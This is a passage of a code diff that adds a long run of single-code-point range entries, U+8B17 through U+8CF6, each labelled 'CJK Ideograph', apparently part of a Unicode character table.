+ ["\u8B17", "\u8B17"], /* CJK Ideograph */
+ ["\u8B18", "\u8B18"], /* CJK Ideograph */
+ ["\u8B19", "\u8B19"], /* CJK Ideograph */
+ ["\u8B1A", "\u8B1A"], /* CJK Ideograph */
+ ["\u8B1B", "\u8B1B"], /* CJK Ideograph */
+ ["\u8B1C", "\u8B1C"], /* CJK Ideograph */
+ ["\u8B1D", "\u8B1D"], /* CJK Ideograph */
+ ["\u8B1E", "\u8B1E"], /* CJK Ideograph */
+ ["\u8B1F", "\u8B1F"], /* CJK Ideograph */
+ ["\u8B20", "\u8B20"], /* CJK Ideograph */
+ ["\u8B21", "\u8B21"], /* CJK Ideograph */
+ ["\u8B22", "\u8B22"], /* CJK Ideograph */
+ ["\u8B23", "\u8B23"], /* CJK Ideograph */
+ ["\u8B24", "\u8B24"], /* CJK Ideograph */
+ ["\u8B25", "\u8B25"], /* CJK Ideograph */
+ ["\u8B26", "\u8B26"], /* CJK Ideograph */
+ ["\u8B27", "\u8B27"], /* CJK Ideograph */
+ ["\u8B28", "\u8B28"], /* CJK Ideograph */
+ ["\u8B29", "\u8B29"], /* CJK Ideograph */
+ ["\u8B2A", "\u8B2A"], /* CJK Ideograph */
+ ["\u8B2B", "\u8B2B"], /* CJK Ideograph */
+ ["\u8B2C", "\u8B2C"], /* CJK Ideograph */
+ ["\u8B2D", "\u8B2D"], /* CJK Ideograph */
+ ["\u8B2E", "\u8B2E"], /* CJK Ideograph */
+ ["\u8B2F", "\u8B2F"], /* CJK Ideograph */
+ ["\u8B30", "\u8B30"], /* CJK Ideograph */
+ ["\u8B31", "\u8B31"], /* CJK Ideograph */
+ ["\u8B32", "\u8B32"], /* CJK Ideograph */
+ ["\u8B33", "\u8B33"], /* CJK Ideograph */
+ ["\u8B34", "\u8B34"], /* CJK Ideograph */
+ ["\u8B35", "\u8B35"], /* CJK Ideograph */
+ ["\u8B36", "\u8B36"], /* CJK Ideograph */
+ ["\u8B37", "\u8B37"], /* CJK Ideograph */
+ ["\u8B38", "\u8B38"], /* CJK Ideograph */
+ ["\u8B39", "\u8B39"], /* CJK Ideograph */
+ ["\u8B3A", "\u8B3A"], /* CJK Ideograph */
+ ["\u8B3B", "\u8B3B"], /* CJK Ideograph */
+ ["\u8B3C", "\u8B3C"], /* CJK Ideograph */
+ ["\u8B3D", "\u8B3D"], /* CJK Ideograph */
+ ["\u8B3E", "\u8B3E"], /* CJK Ideograph */
+ ["\u8B3F", "\u8B3F"], /* CJK Ideograph */
+ ["\u8B40", "\u8B40"], /* CJK Ideograph */
+ ["\u8B41", "\u8B41"], /* CJK Ideograph */
+ ["\u8B42", "\u8B42"], /* CJK Ideograph */
+ ["\u8B43", "\u8B43"], /* CJK Ideograph */
+ ["\u8B44", "\u8B44"], /* CJK Ideograph */
+ ["\u8B45", "\u8B45"], /* CJK Ideograph */
+ ["\u8B46", "\u8B46"], /* CJK Ideograph */
+ ["\u8B47", "\u8B47"], /* CJK Ideograph */
+ ["\u8B48", "\u8B48"], /* CJK Ideograph */
+ ["\u8B49", "\u8B49"], /* CJK Ideograph */
+ ["\u8B4A", "\u8B4A"], /* CJK Ideograph */
+ ["\u8B4B", "\u8B4B"], /* CJK Ideograph */
+ ["\u8B4C", "\u8B4C"], /* CJK Ideograph */
+ ["\u8B4D", "\u8B4D"], /* CJK Ideograph */
+ ["\u8B4E", "\u8B4E"], /* CJK Ideograph */
+ ["\u8B4F", "\u8B4F"], /* CJK Ideograph */
+ ["\u8B50", "\u8B50"], /* CJK Ideograph */
+ ["\u8B51", "\u8B51"], /* CJK Ideograph */
+ ["\u8B52", "\u8B52"], /* CJK Ideograph */
+ ["\u8B53", "\u8B53"], /* CJK Ideograph */
+ ["\u8B54", "\u8B54"], /* CJK Ideograph */
+ ["\u8B55", "\u8B55"], /* CJK Ideograph */
+ ["\u8B56", "\u8B56"], /* CJK Ideograph */
+ ["\u8B57", "\u8B57"], /* CJK Ideograph */
+ ["\u8B58", "\u8B58"], /* CJK Ideograph */
+ ["\u8B59", "\u8B59"], /* CJK Ideograph */
+ ["\u8B5A", "\u8B5A"], /* CJK Ideograph */
+ ["\u8B5B", "\u8B5B"], /* CJK Ideograph */
+ ["\u8B5C", "\u8B5C"], /* CJK Ideograph */
+ ["\u8B5D", "\u8B5D"], /* CJK Ideograph */
+ ["\u8B5E", "\u8B5E"], /* CJK Ideograph */
+ ["\u8B5F", "\u8B5F"], /* CJK Ideograph */
+ ["\u8B60", "\u8B60"], /* CJK Ideograph */
+ ["\u8B61", "\u8B61"], /* CJK Ideograph */
+ ["\u8B62", "\u8B62"], /* CJK Ideograph */
+ ["\u8B63", "\u8B63"], /* CJK Ideograph */
+ ["\u8B64", "\u8B64"], /* CJK Ideograph */
+ ["\u8B65", "\u8B65"], /* CJK Ideograph */
+ ["\u8B66", "\u8B66"], /* CJK Ideograph */
+ ["\u8B67", "\u8B67"], /* CJK Ideograph */
+ ["\u8B68", "\u8B68"], /* CJK Ideograph */
+ ["\u8B69", "\u8B69"], /* CJK Ideograph */
+ ["\u8B6A", "\u8B6A"], /* CJK Ideograph */
+ ["\u8B6B", "\u8B6B"], /* CJK Ideograph */
+ ["\u8B6C", "\u8B6C"], /* CJK Ideograph */
+ ["\u8B6D", "\u8B6D"], /* CJK Ideograph */
+ ["\u8B6E", "\u8B6E"], /* CJK Ideograph */
+ ["\u8B6F", "\u8B6F"], /* CJK Ideograph */
+ ["\u8B70", "\u8B70"], /* CJK Ideograph */
+ ["\u8B71", "\u8B71"], /* CJK Ideograph */
+ ["\u8B72", "\u8B72"], /* CJK Ideograph */
+ ["\u8B73", "\u8B73"], /* CJK Ideograph */
+ ["\u8B74", "\u8B74"], /* CJK Ideograph */
+ ["\u8B75", "\u8B75"], /* CJK Ideograph */
+ ["\u8B76", "\u8B76"], /* CJK Ideograph */
+ ["\u8B77", "\u8B77"], /* CJK Ideograph */
+ ["\u8B78", "\u8B78"], /* CJK Ideograph */
+ ["\u8B79", "\u8B79"], /* CJK Ideograph */
+ ["\u8B7A", "\u8B7A"], /* CJK Ideograph */
+ ["\u8B7B", "\u8B7B"], /* CJK Ideograph */
+ ["\u8B7C", "\u8B7C"], /* CJK Ideograph */
+ ["\u8B7D", "\u8B7D"], /* CJK Ideograph */
+ ["\u8B7E", "\u8B7E"], /* CJK Ideograph */
+ ["\u8B7F", "\u8B7F"], /* CJK Ideograph */
+ ["\u8B80", "\u8B80"], /* CJK Ideograph */
+ ["\u8B81", "\u8B81"], /* CJK Ideograph */
+ ["\u8B82", "\u8B82"], /* CJK Ideograph */
+ ["\u8B83", "\u8B83"], /* CJK Ideograph */
+ ["\u8B84", "\u8B84"], /* CJK Ideograph */
+ ["\u8B85", "\u8B85"], /* CJK Ideograph */
+ ["\u8B86", "\u8B86"], /* CJK Ideograph */
+ ["\u8B87", "\u8B87"], /* CJK Ideograph */
+ ["\u8B88", "\u8B88"], /* CJK Ideograph */
+ ["\u8B89", "\u8B89"], /* CJK Ideograph */
+ ["\u8B8A", "\u8B8A"], /* CJK Ideograph */
+ ["\u8B8B", "\u8B8B"], /* CJK Ideograph */
+ ["\u8B8C", "\u8B8C"], /* CJK Ideograph */
+ ["\u8B8D", "\u8B8D"], /* CJK Ideograph */
+ ["\u8B8E", "\u8B8E"], /* CJK Ideograph */
+ ["\u8B8F", "\u8B8F"], /* CJK Ideograph */
+ ["\u8B90", "\u8B90"], /* CJK Ideograph */
+ ["\u8B91", "\u8B91"], /* CJK Ideograph */
+ ["\u8B92", "\u8B92"], /* CJK Ideograph */
+ ["\u8B93", "\u8B93"], /* CJK Ideograph */
+ ["\u8B94", "\u8B94"], /* CJK Ideograph */
+ ["\u8B95", "\u8B95"], /* CJK Ideograph */
+ ["\u8B96", "\u8B96"], /* CJK Ideograph */
+ ["\u8B97", "\u8B97"], /* CJK Ideograph */
+ ["\u8B98", "\u8B98"], /* CJK Ideograph */
+ ["\u8B99", "\u8B99"], /* CJK Ideograph */
+ ["\u8B9A", "\u8B9A"], /* CJK Ideograph */
+ ["\u8B9B", "\u8B9B"], /* CJK Ideograph */
+ ["\u8B9C", "\u8B9C"], /* CJK Ideograph */
+ ["\u8B9D", "\u8B9D"], /* CJK Ideograph */
+ ["\u8B9E", "\u8B9E"], /* CJK Ideograph */
+ ["\u8B9F", "\u8B9F"], /* CJK Ideograph */
+ ["\u8BA0", "\u8BA0"], /* CJK Ideograph */
+ ["\u8BA1", "\u8BA1"], /* CJK Ideograph */
+ ["\u8BA2", "\u8BA2"], /* CJK Ideograph */
+ ["\u8BA3", "\u8BA3"], /* CJK Ideograph */
+ ["\u8BA4", "\u8BA4"], /* CJK Ideograph */
+ ["\u8BA5", "\u8BA5"], /* CJK Ideograph */
+ ["\u8BA6", "\u8BA6"], /* CJK Ideograph */
+ ["\u8BA7", "\u8BA7"], /* CJK Ideograph */
+ ["\u8BA8", "\u8BA8"], /* CJK Ideograph */
+ ["\u8BA9", "\u8BA9"], /* CJK Ideograph */
+ ["\u8BAA", "\u8BAA"], /* CJK Ideograph */
+ ["\u8BAB", "\u8BAB"], /* CJK Ideograph */
+ ["\u8BAC", "\u8BAC"], /* CJK Ideograph */
+ ["\u8BAD", "\u8BAD"], /* CJK Ideograph */
+ ["\u8BAE", "\u8BAE"], /* CJK Ideograph */
+ ["\u8BAF", "\u8BAF"], /* CJK Ideograph */
+ ["\u8BB0", "\u8BB0"], /* CJK Ideograph */
+ ["\u8BB1", "\u8BB1"], /* CJK Ideograph */
+ ["\u8BB2", "\u8BB2"], /* CJK Ideograph */
+ ["\u8BB3", "\u8BB3"], /* CJK Ideograph */
+ ["\u8BB4", "\u8BB4"], /* CJK Ideograph */
+ ["\u8BB5", "\u8BB5"], /* CJK Ideograph */
+ ["\u8BB6", "\u8BB6"], /* CJK Ideograph */
+ ["\u8BB7", "\u8BB7"], /* CJK Ideograph */
+ ["\u8BB8", "\u8BB8"], /* CJK Ideograph */
+ ["\u8BB9", "\u8BB9"], /* CJK Ideograph */
+ ["\u8BBA", "\u8BBA"], /* CJK Ideograph */
+ ["\u8BBB", "\u8BBB"], /* CJK Ideograph */
+ ["\u8BBC", "\u8BBC"], /* CJK Ideograph */
+ ["\u8BBD", "\u8BBD"], /* CJK Ideograph */
+ ["\u8BBE", "\u8BBE"], /* CJK Ideograph */
+ ["\u8BBF", "\u8BBF"], /* CJK Ideograph */
+ ["\u8BC0", "\u8BC0"], /* CJK Ideograph */
+ ["\u8BC1", "\u8BC1"], /* CJK Ideograph */
+ ["\u8BC2", "\u8BC2"], /* CJK Ideograph */
+ ["\u8BC3", "\u8BC3"], /* CJK Ideograph */
+ ["\u8BC4", "\u8BC4"], /* CJK Ideograph */
+ ["\u8BC5", "\u8BC5"], /* CJK Ideograph */
+ ["\u8BC6", "\u8BC6"], /* CJK Ideograph */
+ ["\u8BC7", "\u8BC7"], /* CJK Ideograph */
+ ["\u8BC8", "\u8BC8"], /* CJK Ideograph */
+ ["\u8BC9", "\u8BC9"], /* CJK Ideograph */
+ ["\u8BCA", "\u8BCA"], /* CJK Ideograph */
+ ["\u8BCB", "\u8BCB"], /* CJK Ideograph */
+ ["\u8BCC", "\u8BCC"], /* CJK Ideograph */
+ ["\u8BCD", "\u8BCD"], /* CJK Ideograph */
+ ["\u8BCE", "\u8BCE"], /* CJK Ideograph */
+ ["\u8BCF", "\u8BCF"], /* CJK Ideograph */
+ ["\u8BD0", "\u8BD0"], /* CJK Ideograph */
+ ["\u8BD1", "\u8BD1"], /* CJK Ideograph */
+ ["\u8BD2", "\u8BD2"], /* CJK Ideograph */
+ ["\u8BD3", "\u8BD3"], /* CJK Ideograph */
+ ["\u8BD4", "\u8BD4"], /* CJK Ideograph */
+ ["\u8BD5", "\u8BD5"], /* CJK Ideograph */
+ ["\u8BD6", "\u8BD6"], /* CJK Ideograph */
+ ["\u8BD7", "\u8BD7"], /* CJK Ideograph */
+ ["\u8BD8", "\u8BD8"], /* CJK Ideograph */
+ ["\u8BD9", "\u8BD9"], /* CJK Ideograph */
+ ["\u8BDA", "\u8BDA"], /* CJK Ideograph */
+ ["\u8BDB", "\u8BDB"], /* CJK Ideograph */
+ ["\u8BDC", "\u8BDC"], /* CJK Ideograph */
+ ["\u8BDD", "\u8BDD"], /* CJK Ideograph */
+ ["\u8BDE", "\u8BDE"], /* CJK Ideograph */
+ ["\u8BDF", "\u8BDF"], /* CJK Ideograph */
+ ["\u8BE0", "\u8BE0"], /* CJK Ideograph */
+ ["\u8BE1", "\u8BE1"], /* CJK Ideograph */
+ ["\u8BE2", "\u8BE2"], /* CJK Ideograph */
+ ["\u8BE3", "\u8BE3"], /* CJK Ideograph */
+ ["\u8BE4", "\u8BE4"], /* CJK Ideograph */
+ ["\u8BE5", "\u8BE5"], /* CJK Ideograph */
+ ["\u8BE6", "\u8BE6"], /* CJK Ideograph */
+ ["\u8BE7", "\u8BE7"], /* CJK Ideograph */
+ ["\u8BE8", "\u8BE8"], /* CJK Ideograph */
+ ["\u8BE9", "\u8BE9"], /* CJK Ideograph */
+ ["\u8BEA", "\u8BEA"], /* CJK Ideograph */
+ ["\u8BEB", "\u8BEB"], /* CJK Ideograph */
+ ["\u8BEC", "\u8BEC"], /* CJK Ideograph */
+ ["\u8BED", "\u8BED"], /* CJK Ideograph */
+ ["\u8BEE", "\u8BEE"], /* CJK Ideograph */
+ ["\u8BEF", "\u8BEF"], /* CJK Ideograph */
+ ["\u8BF0", "\u8BF0"], /* CJK Ideograph */
+ ["\u8BF1", "\u8BF1"], /* CJK Ideograph */
+ ["\u8BF2", "\u8BF2"], /* CJK Ideograph */
+ ["\u8BF3", "\u8BF3"], /* CJK Ideograph */
+ ["\u8BF4", "\u8BF4"], /* CJK Ideograph */
+ ["\u8BF5", "\u8BF5"], /* CJK Ideograph */
+ ["\u8BF6", "\u8BF6"], /* CJK Ideograph */
+ ["\u8BF7", "\u8BF7"], /* CJK Ideograph */
+ ["\u8BF8", "\u8BF8"], /* CJK Ideograph */
+ ["\u8BF9", "\u8BF9"], /* CJK Ideograph */
+ ["\u8BFA", "\u8BFA"], /* CJK Ideograph */
+ ["\u8BFB", "\u8BFB"], /* CJK Ideograph */
+ ["\u8BFC", "\u8BFC"], /* CJK Ideograph */
+ ["\u8BFD", "\u8BFD"], /* CJK Ideograph */
+ ["\u8BFE", "\u8BFE"], /* CJK Ideograph */
+ ["\u8BFF", "\u8BFF"], /* CJK Ideograph */
+ ["\u8C00", "\u8C00"], /* CJK Ideograph */
+ ["\u8C01", "\u8C01"], /* CJK Ideograph */
+ ["\u8C02", "\u8C02"], /* CJK Ideograph */
+ ["\u8C03", "\u8C03"], /* CJK Ideograph */
+ ["\u8C04", "\u8C04"], /* CJK Ideograph */
+ ["\u8C05", "\u8C05"], /* CJK Ideograph */
+ ["\u8C06", "\u8C06"], /* CJK Ideograph */
+ ["\u8C07", "\u8C07"], /* CJK Ideograph */
+ ["\u8C08", "\u8C08"], /* CJK Ideograph */
+ ["\u8C09", "\u8C09"], /* CJK Ideograph */
+ ["\u8C0A", "\u8C0A"], /* CJK Ideograph */
+ ["\u8C0B", "\u8C0B"], /* CJK Ideograph */
+ ["\u8C0C", "\u8C0C"], /* CJK Ideograph */
+ ["\u8C0D", "\u8C0D"], /* CJK Ideograph */
+ ["\u8C0E", "\u8C0E"], /* CJK Ideograph */
+ ["\u8C0F", "\u8C0F"], /* CJK Ideograph */
+ ["\u8C10", "\u8C10"], /* CJK Ideograph */
+ ["\u8C11", "\u8C11"], /* CJK Ideograph */
+ ["\u8C12", "\u8C12"], /* CJK Ideograph */
+ ["\u8C13", "\u8C13"], /* CJK Ideograph */
+ ["\u8C14", "\u8C14"], /* CJK Ideograph */
+ ["\u8C15", "\u8C15"], /* CJK Ideograph */
+ ["\u8C16", "\u8C16"], /* CJK Ideograph */
+ ["\u8C17", "\u8C17"], /* CJK Ideograph */
+ ["\u8C18", "\u8C18"], /* CJK Ideograph */
+ ["\u8C19", "\u8C19"], /* CJK Ideograph */
+ ["\u8C1A", "\u8C1A"], /* CJK Ideograph */
+ ["\u8C1B", "\u8C1B"], /* CJK Ideograph */
+ ["\u8C1C", "\u8C1C"], /* CJK Ideograph */
+ ["\u8C1D", "\u8C1D"], /* CJK Ideograph */
+ ["\u8C1E", "\u8C1E"], /* CJK Ideograph */
+ ["\u8C1F", "\u8C1F"], /* CJK Ideograph */
+ ["\u8C20", "\u8C20"], /* CJK Ideograph */
+ ["\u8C21", "\u8C21"], /* CJK Ideograph */
+ ["\u8C22", "\u8C22"], /* CJK Ideograph */
+ ["\u8C23", "\u8C23"], /* CJK Ideograph */
+ ["\u8C24", "\u8C24"], /* CJK Ideograph */
+ ["\u8C25", "\u8C25"], /* CJK Ideograph */
+ ["\u8C26", "\u8C26"], /* CJK Ideograph */
+ ["\u8C27", "\u8C27"], /* CJK Ideograph */
+ ["\u8C28", "\u8C28"], /* CJK Ideograph */
+ ["\u8C29", "\u8C29"], /* CJK Ideograph */
+ ["\u8C2A", "\u8C2A"], /* CJK Ideograph */
+ ["\u8C2B", "\u8C2B"], /* CJK Ideograph */
+ ["\u8C2C", "\u8C2C"], /* CJK Ideograph */
+ ["\u8C2D", "\u8C2D"], /* CJK Ideograph */
+ ["\u8C2E", "\u8C2E"], /* CJK Ideograph */
+ ["\u8C2F", "\u8C2F"], /* CJK Ideograph */
+ ["\u8C30", "\u8C30"], /* CJK Ideograph */
+ ["\u8C31", "\u8C31"], /* CJK Ideograph */
+ ["\u8C32", "\u8C32"], /* CJK Ideograph */
+ ["\u8C33", "\u8C33"], /* CJK Ideograph */
+ ["\u8C34", "\u8C34"], /* CJK Ideograph */
+ ["\u8C35", "\u8C35"], /* CJK Ideograph */
+ ["\u8C36", "\u8C36"], /* CJK Ideograph */
+ ["\u8C37", "\u8C37"], /* CJK Ideograph */
+ ["\u8C38", "\u8C38"], /* CJK Ideograph */
+ ["\u8C39", "\u8C39"], /* CJK Ideograph */
+ ["\u8C3A", "\u8C3A"], /* CJK Ideograph */
+ ["\u8C3B", "\u8C3B"], /* CJK Ideograph */
+ ["\u8C3C", "\u8C3C"], /* CJK Ideograph */
+ ["\u8C3D", "\u8C3D"], /* CJK Ideograph */
+ ["\u8C3E", "\u8C3E"], /* CJK Ideograph */
+ ["\u8C3F", "\u8C3F"], /* CJK Ideograph */
+ ["\u8C40", "\u8C40"], /* CJK Ideograph */
+ ["\u8C41", "\u8C41"], /* CJK Ideograph */
+ ["\u8C42", "\u8C42"], /* CJK Ideograph */
+ ["\u8C43", "\u8C43"], /* CJK Ideograph */
+ ["\u8C44", "\u8C44"], /* CJK Ideograph */
+ ["\u8C45", "\u8C45"], /* CJK Ideograph */
+ ["\u8C46", "\u8C46"], /* CJK Ideograph */
+ ["\u8C47", "\u8C47"], /* CJK Ideograph */
+ ["\u8C48", "\u8C48"], /* CJK Ideograph */
+ ["\u8C49", "\u8C49"], /* CJK Ideograph */
+ ["\u8C4A", "\u8C4A"], /* CJK Ideograph */
+ ["\u8C4B", "\u8C4B"], /* CJK Ideograph */
+ ["\u8C4C", "\u8C4C"], /* CJK Ideograph */
+ ["\u8C4D", "\u8C4D"], /* CJK Ideograph */
+ ["\u8C4E", "\u8C4E"], /* CJK Ideograph */
+ ["\u8C4F", "\u8C4F"], /* CJK Ideograph */
+ ["\u8C50", "\u8C50"], /* CJK Ideograph */
+ ["\u8C51", "\u8C51"], /* CJK Ideograph */
+ ["\u8C52", "\u8C52"], /* CJK Ideograph */
+ ["\u8C53", "\u8C53"], /* CJK Ideograph */
+ ["\u8C54", "\u8C54"], /* CJK Ideograph */
+ ["\u8C55", "\u8C55"], /* CJK Ideograph */
+ ["\u8C56", "\u8C56"], /* CJK Ideograph */
+ ["\u8C57", "\u8C57"], /* CJK Ideograph */
+ ["\u8C58", "\u8C58"], /* CJK Ideograph */
+ ["\u8C59", "\u8C59"], /* CJK Ideograph */
+ ["\u8C5A", "\u8C5A"], /* CJK Ideograph */
+ ["\u8C5B", "\u8C5B"], /* CJK Ideograph */
+ ["\u8C5C", "\u8C5C"], /* CJK Ideograph */
+ ["\u8C5D", "\u8C5D"], /* CJK Ideograph */
+ ["\u8C5E", "\u8C5E"], /* CJK Ideograph */
+ ["\u8C5F", "\u8C5F"], /* CJK Ideograph */
+ ["\u8C60", "\u8C60"], /* CJK Ideograph */
+ ["\u8C61", "\u8C61"], /* CJK Ideograph */
+ ["\u8C62", "\u8C62"], /* CJK Ideograph */
+ ["\u8C63", "\u8C63"], /* CJK Ideograph */
+ ["\u8C64", "\u8C64"], /* CJK Ideograph */
+ ["\u8C65", "\u8C65"], /* CJK Ideograph */
+ ["\u8C66", "\u8C66"], /* CJK Ideograph */
+ ["\u8C67", "\u8C67"], /* CJK Ideograph */
+ ["\u8C68", "\u8C68"], /* CJK Ideograph */
+ ["\u8C69", "\u8C69"], /* CJK Ideograph */
+ ["\u8C6A", "\u8C6A"], /* CJK Ideograph */
+ ["\u8C6B", "\u8C6B"], /* CJK Ideograph */
+ ["\u8C6C", "\u8C6C"], /* CJK Ideograph */
+ ["\u8C6D", "\u8C6D"], /* CJK Ideograph */
+ ["\u8C6E", "\u8C6E"], /* CJK Ideograph */
+ ["\u8C6F", "\u8C6F"], /* CJK Ideograph */
+ ["\u8C70", "\u8C70"], /* CJK Ideograph */
+ ["\u8C71", "\u8C71"], /* CJK Ideograph */
+ ["\u8C72", "\u8C72"], /* CJK Ideograph */
+ ["\u8C73", "\u8C73"], /* CJK Ideograph */
+ ["\u8C74", "\u8C74"], /* CJK Ideograph */
+ ["\u8C75", "\u8C75"], /* CJK Ideograph */
+ ["\u8C76", "\u8C76"], /* CJK Ideograph */
+ ["\u8C77", "\u8C77"], /* CJK Ideograph */
+ ["\u8C78", "\u8C78"], /* CJK Ideograph */
+ ["\u8C79", "\u8C79"], /* CJK Ideograph */
+ ["\u8C7A", "\u8C7A"], /* CJK Ideograph */
+ ["\u8C7B", "\u8C7B"], /* CJK Ideograph */
+ ["\u8C7C", "\u8C7C"], /* CJK Ideograph */
+ ["\u8C7D", "\u8C7D"], /* CJK Ideograph */
+ ["\u8C7E", "\u8C7E"], /* CJK Ideograph */
+ ["\u8C7F", "\u8C7F"], /* CJK Ideograph */
+ ["\u8C80", "\u8C80"], /* CJK Ideograph */
+ ["\u8C81", "\u8C81"], /* CJK Ideograph */
+ ["\u8C82", "\u8C82"], /* CJK Ideograph */
+ ["\u8C83", "\u8C83"], /* CJK Ideograph */
+ ["\u8C84", "\u8C84"], /* CJK Ideograph */
+ ["\u8C85", "\u8C85"], /* CJK Ideograph */
+ ["\u8C86", "\u8C86"], /* CJK Ideograph */
+ ["\u8C87", "\u8C87"], /* CJK Ideograph */
+ ["\u8C88", "\u8C88"], /* CJK Ideograph */
+ ["\u8C89", "\u8C89"], /* CJK Ideograph */
+ ["\u8C8A", "\u8C8A"], /* CJK Ideograph */
+ ["\u8C8B", "\u8C8B"], /* CJK Ideograph */
+ ["\u8C8C", "\u8C8C"], /* CJK Ideograph */
+ ["\u8C8D", "\u8C8D"], /* CJK Ideograph */
+ ["\u8C8E", "\u8C8E"], /* CJK Ideograph */
+ ["\u8C8F", "\u8C8F"], /* CJK Ideograph */
+ ["\u8C90", "\u8C90"], /* CJK Ideograph */
+ ["\u8C91", "\u8C91"], /* CJK Ideograph */
+ ["\u8C92", "\u8C92"], /* CJK Ideograph */
+ ["\u8C93", "\u8C93"], /* CJK Ideograph */
+ ["\u8C94", "\u8C94"], /* CJK Ideograph */
+ ["\u8C95", "\u8C95"], /* CJK Ideograph */
+ ["\u8C96", "\u8C96"], /* CJK Ideograph */
+ ["\u8C97", "\u8C97"], /* CJK Ideograph */
+ ["\u8C98", "\u8C98"], /* CJK Ideograph */
+ ["\u8C99", "\u8C99"], /* CJK Ideograph */
+ ["\u8C9A", "\u8C9A"], /* CJK Ideograph */
+ ["\u8C9B", "\u8C9B"], /* CJK Ideograph */
+ ["\u8C9C", "\u8C9C"], /* CJK Ideograph */
+ ["\u8C9D", "\u8C9D"], /* CJK Ideograph */
+ ["\u8C9E", "\u8C9E"], /* CJK Ideograph */
+ ["\u8C9F", "\u8C9F"], /* CJK Ideograph */
+ ["\u8CA0", "\u8CA0"], /* CJK Ideograph */
+ ["\u8CA1", "\u8CA1"], /* CJK Ideograph */
+ ["\u8CA2", "\u8CA2"], /* CJK Ideograph */
+ ["\u8CA3", "\u8CA3"], /* CJK Ideograph */
+ ["\u8CA4", "\u8CA4"], /* CJK Ideograph */
+ ["\u8CA5", "\u8CA5"], /* CJK Ideograph */
+ ["\u8CA6", "\u8CA6"], /* CJK Ideograph */
+ ["\u8CA7", "\u8CA7"], /* CJK Ideograph */
+ ["\u8CA8", "\u8CA8"], /* CJK Ideograph */
+ ["\u8CA9", "\u8CA9"], /* CJK Ideograph */
+ ["\u8CAA", "\u8CAA"], /* CJK Ideograph */
+ ["\u8CAB", "\u8CAB"], /* CJK Ideograph */
+ ["\u8CAC", "\u8CAC"], /* CJK Ideograph */
+ ["\u8CAD", "\u8CAD"], /* CJK Ideograph */
+ ["\u8CAE", "\u8CAE"], /* CJK Ideograph */
+ ["\u8CAF", "\u8CAF"], /* CJK Ideograph */
+ ["\u8CB0", "\u8CB0"], /* CJK Ideograph */
+ ["\u8CB1", "\u8CB1"], /* CJK Ideograph */
+ ["\u8CB2", "\u8CB2"], /* CJK Ideograph */
+ ["\u8CB3", "\u8CB3"], /* CJK Ideograph */
+ ["\u8CB4", "\u8CB4"], /* CJK Ideograph */
+ ["\u8CB5", "\u8CB5"], /* CJK Ideograph */
+ ["\u8CB6", "\u8CB6"], /* CJK Ideograph */
+ ["\u8CB7", "\u8CB7"], /* CJK Ideograph */
+ ["\u8CB8", "\u8CB8"], /* CJK Ideograph */
+ ["\u8CB9", "\u8CB9"], /* CJK Ideograph */
+ ["\u8CBA", "\u8CBA"], /* CJK Ideograph */
+ ["\u8CBB", "\u8CBB"], /* CJK Ideograph */
+ ["\u8CBC", "\u8CBC"], /* CJK Ideograph */
+ ["\u8CBD", "\u8CBD"], /* CJK Ideograph */
+ ["\u8CBE", "\u8CBE"], /* CJK Ideograph */
+ ["\u8CBF", "\u8CBF"], /* CJK Ideograph */
+ ["\u8CC0", "\u8CC0"], /* CJK Ideograph */
+ ["\u8CC1", "\u8CC1"], /* CJK Ideograph */
+ ["\u8CC2", "\u8CC2"], /* CJK Ideograph */
+ ["\u8CC3", "\u8CC3"], /* CJK Ideograph */
+ ["\u8CC4", "\u8CC4"], /* CJK Ideograph */
+ ["\u8CC5", "\u8CC5"], /* CJK Ideograph */
+ ["\u8CC6", "\u8CC6"], /* CJK Ideograph */
+ ["\u8CC7", "\u8CC7"], /* CJK Ideograph */
+ ["\u8CC8", "\u8CC8"], /* CJK Ideograph */
+ ["\u8CC9", "\u8CC9"], /* CJK Ideograph */
+ ["\u8CCA", "\u8CCA"], /* CJK Ideograph */
+ ["\u8CCB", "\u8CCB"], /* CJK Ideograph */
+ ["\u8CCC", "\u8CCC"], /* CJK Ideograph */
+ ["\u8CCD", "\u8CCD"], /* CJK Ideograph */
+ ["\u8CCE", "\u8CCE"], /* CJK Ideograph */
+ ["\u8CCF", "\u8CCF"], /* CJK Ideograph */
+ ["\u8CD0", "\u8CD0"], /* CJK Ideograph */
+ ["\u8CD1", "\u8CD1"], /* CJK Ideograph */
+ ["\u8CD2", "\u8CD2"], /* CJK Ideograph */
+ ["\u8CD3", "\u8CD3"], /* CJK Ideograph */
+ ["\u8CD4", "\u8CD4"], /* CJK Ideograph */
+ ["\u8CD5", "\u8CD5"], /* CJK Ideograph */
+ ["\u8CD6", "\u8CD6"], /* CJK Ideograph */
+ ["\u8CD7", "\u8CD7"], /* CJK Ideograph */
+ ["\u8CD8", "\u8CD8"], /* CJK Ideograph */
+ ["\u8CD9", "\u8CD9"], /* CJK Ideograph */
+ ["\u8CDA", "\u8CDA"], /* CJK Ideograph */
+ ["\u8CDB", "\u8CDB"], /* CJK Ideograph */
+ ["\u8CDC", "\u8CDC"], /* CJK Ideograph */
+ ["\u8CDD", "\u8CDD"], /* CJK Ideograph */
+ ["\u8CDE", "\u8CDE"], /* CJK Ideograph */
+ ["\u8CDF", "\u8CDF"], /* CJK Ideograph */
+ ["\u8CE0", "\u8CE0"], /* CJK Ideograph */
+ ["\u8CE1", "\u8CE1"], /* CJK Ideograph */
+ ["\u8CE2", "\u8CE2"], /* CJK Ideograph */
+ ["\u8CE3", "\u8CE3"], /* CJK Ideograph */
+ ["\u8CE4", "\u8CE4"], /* CJK Ideograph */
+ ["\u8CE5", "\u8CE5"], /* CJK Ideograph */
+ ["\u8CE6", "\u8CE6"], /* CJK Ideograph */
+ ["\u8CE7", "\u8CE7"], /* CJK Ideograph */
+ ["\u8CE8", "\u8CE8"], /* CJK Ideograph */
+ ["\u8CE9", "\u8CE9"], /* CJK Ideograph */
+ ["\u8CEA", "\u8CEA"], /* CJK Ideograph */
+ ["\u8CEB", "\u8CEB"], /* CJK Ideograph */
+ ["\u8CEC", "\u8CEC"], /* CJK Ideograph */
+ ["\u8CED", "\u8CED"], /* CJK Ideograph */
+ ["\u8CEE", "\u8CEE"], /* CJK Ideograph */
+ ["\u8CEF", "\u8CEF"], /* CJK Ideograph */
+ ["\u8CF0", "\u8CF0"], /* CJK Ideograph */
+ ["\u8CF1", "\u8CF1"], /* CJK Ideograph */
+ ["\u8CF2", "\u8CF2"], /* CJK Ideograph */
+ ["\u8CF3", "\u8CF3"], /* CJK Ideograph */
+ ["\u8CF4", "\u8CF4"], /* CJK Ideograph */
+ ["\u8CF5", "\u8CF5"], /* CJK Ideograph */
+ ["\u8CF6", "\u8CF6"], /* CJK Ideograph */
